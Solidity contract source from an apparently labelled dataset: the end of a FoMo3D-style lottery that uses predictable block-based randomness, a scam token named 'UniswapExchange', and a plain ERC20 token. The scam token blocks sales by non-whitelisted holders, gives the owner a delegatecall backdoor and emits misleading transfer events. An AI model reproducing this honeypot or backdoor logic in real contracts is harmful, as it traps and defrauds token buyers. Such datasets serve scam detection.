plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function coreQR(address _realSender,uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 400000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 4000000000000000000)
{
uint256 _availableLimit = (4000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTxQR(_realSender,_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function determinePIDQR(address _realSender, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[_realSender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(_realSender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[_realSender] = _pID;
plyr_[_pID].addr = _realSender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
admin.transfer(_p3d);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
admin.transfer(_p3d);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
function endTxQR(address _realSender,uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
_realSender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
} | 0 | 1,061 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,092 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract GoMoney is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "GOM";
name = "GoMoney";
decimals = 0;
_totalSupply = 10000000000;
balances[0x01C84F69f0b74736444a83E7C58dB8879f89bf10] = _totalSupply;
emit Transfer(address(0), 0x01C84F69f0b74736444a83E7C58dB8879f89bf10, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 3,432 |
Subsets and Splits